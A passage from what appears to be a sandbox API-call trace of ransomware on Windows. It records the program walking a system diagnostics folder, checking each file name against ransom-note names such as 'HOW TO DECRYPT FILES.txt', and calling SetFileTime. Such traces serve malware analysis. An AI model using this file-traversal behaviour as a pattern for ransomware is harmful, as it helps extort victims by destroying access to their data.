lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.682] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.682] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.682] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7d5772b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xd7d5772b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xd7d7d889, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc27e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_Utility.ps1", cAlternateFileName="")) returned 1 [0126.682] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.682] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_Utility.ps1") returned 1 [0126.682] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_Utility.ps1") returned 1 [0126.682] lstrcmpiA (lpString1="", lpString2="CL_Utility.ps1") returned -1 [0126.682] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\*.*") returned="*.*" [0126.682] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.682] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.683] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.683] CloseHandle (hObject=0xffffffff) returned 0 [0126.684] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e9ff64, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10e9ff64, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x90f5814d, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x45a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0126.684] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.684] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.684] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.684] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0126.684] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.684] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.684] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.684] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.684] CloseHandle (hObject=0xffffffff) returned 0 [0126.685] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x103e9d3c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x103e9d3c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1bb33910, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0126.685] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.685] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0126.685] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0126.685] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0126.685] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.685] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.685] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.685] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.685] CloseHandle (hObject=0xffffffff) returned 0 [0126.686] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22efd6a9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0126.686] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.686] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.686] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\DiagPackage.dll") returned="DiagPackage.dll" [0126.686] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22efd6a9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50156c, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.691] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.691] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22efd6a9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0126.691] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.691] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.691] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x13c6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0126.691] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.691] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.691] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.691] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0126.691] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\*.*") returned="*.*" [0126.691] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\" [0126.691] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\") returned="" [0126.692] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.692] CloseHandle (hObject=0xffffffff) returned 0 [0126.692] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0126.692] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.692] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.692] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0126.692] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.693] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\" [0126.693] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\en-US\\") returned="" [0126.693] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.693] CloseHandle (hObject=0xffffffff) returned 0 [0126.693] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0126.693] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0126.694] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10a9ba95, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10a9ba95, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7ed44d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xac3, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="RS_MultipleUsers.ps1", cAlternateFileName="")) returned 1 [0126.694] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.694] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_MultipleUsers.ps1") returned -1 [0126.694] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_MultipleUsers.ps1") returned -1 [0126.694] lstrcmpiA (lpString1="", lpString2="RS_MultipleUsers.ps1") returned -1 [0126.694] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\*.*") returned="*.*" [0126.694] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.694] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.694] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.694] CloseHandle (hObject=0xffffffff) returned 0 [0126.695] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ac1bf2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10ac1bf2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7efa635, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_PowerMode.ps1", cAlternateFileName="")) returned 1 [0126.695] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.695] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_PowerMode.ps1") returned -1 [0126.695] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_PowerMode.ps1") returned -1 [0126.695] lstrcmpiA (lpString1="", lpString2="RS_PowerMode.ps1") returned -1 [0126.695] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\RS_MultipleUsers.ps1") returned="RS_MultipleUsers.ps1" [0126.695] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.695] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.695] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.695] CloseHandle (hObject=0xffffffff) returned 0 [0126.696] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b34009, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10b34009, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7efa635, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_RemoveAllUsersStartupPrograms.ps1", cAlternateFileName="")) returned 1 [0126.696] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_RemoveAllUsersStartupPrograms.ps1") returned -1 [0126.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_RemoveAllUsersStartupPrograms.ps1") returned -1 [0126.696] lstrcmpiA (lpString1="", lpString2="RS_RemoveAllUsersStartupPrograms.ps1") returned -1 [0126.696] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\RS_PowerMode.ps1") returned="RS_PowerMode.ps1" [0126.696] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.696] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.696] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.696] CloseHandle (hObject=0xffffffff) returned 0 [0126.697] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b5a166, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10b5a166, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7f20793, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_RemoveCurrentUserStartupPrograms.ps1", cAlternateFileName="")) returned 1 [0126.697] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.697] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_RemoveCurrentUserStartupPrograms.ps1") returned -1 [0126.697] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_RemoveCurrentUserStartupPrograms.ps1") returned -1 [0126.697] lstrcmpiA (lpString1="", lpString2="RS_RemoveCurrentUserStartupPrograms.ps1") returned -1 [0126.697] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\RS_RemoveAllUsersStartupPrograms.ps1") returned="RS_RemoveAllUsersStartupPrograms.ps1" [0126.697] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.697] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.697] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.697] CloseHandle (hObject=0xffffffff) returned 0 [0126.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bcc57d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10bcc57d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7f468f1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_StartSysMainService.ps1", cAlternateFileName="")) returned 1 [0126.698] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_StartSysMainService.ps1") returned -1 [0126.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_StartSysMainService.ps1") returned -1 [0126.698] lstrcmpiA (lpString1="", lpString2="RS_StartSysMainService.ps1") returned -1 [0126.698] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\RS_RemoveCurrentUserStartupPrograms.ps1") returned="RS_RemoveCurrentUserStartupPrograms.ps1" [0126.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.698] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.698] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.698] CloseHandle (hObject=0xffffffff) returned 0 [0126.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bf26da, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10bf26da, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7f468f1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_SwitchIntoDMA.ps1", cAlternateFileName="")) returned 1 [0126.698] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.699] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_SwitchIntoDMA.ps1") returned -1 [0126.699] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_SwitchIntoDMA.ps1") returned -1 [0126.699] lstrcmpiA (lpString1="", lpString2="RS_SwitchIntoDMA.ps1") returned -1 [0126.699] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\RS_StartSysMainService.ps1") returned="RS_StartSysMainService.ps1" [0126.699] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.699] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.699] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.699] CloseHandle (hObject=0xffffffff) returned 0 [0126.699] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10c18837, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10c18837, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7f6ca4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_VisualEffects.ps1", cAlternateFileName="")) returned 1 [0126.699] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.699] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_VisualEffects.ps1") returned -1 [0126.700] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_VisualEffects.ps1") returned -1 [0126.700] lstrcmpiA (lpString1="", lpString2="RS_VisualEffects.ps1") returned -1 [0126.700] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\RS_SwitchIntoDMA.ps1") returned="RS_SwitchIntoDMA.ps1" [0126.700] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.700] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Performance\\") returned="" [0126.700] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.700] CloseHandle (hObject=0xffffffff) returned 0 [0126.700] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10c64af1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10c64af1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7f92bad, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x601, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_MultipleAntivirusProducts.ps1", cAlternateFileName="")) returned 1 [0126.700] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.701] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_MultipleAntivirusProducts.ps1") returned -1 [0126.701] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_MultipleAntivirusProducts.ps1") returned -1 [0126.701] lstrcmpiA (lpString1="", lpString2="TS_MultipleAntivirusProducts.ps1") returned -1 [0126.701] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Performance\\RS_VisualEffects.ps1") returned="RS_VisualEffects.ps1" [0126.701] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Performance\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Performance\\") returned="C:\\Windows\\diagnostics\\system\\Performance\\" [0126.701] PathAddBackslashA (in: 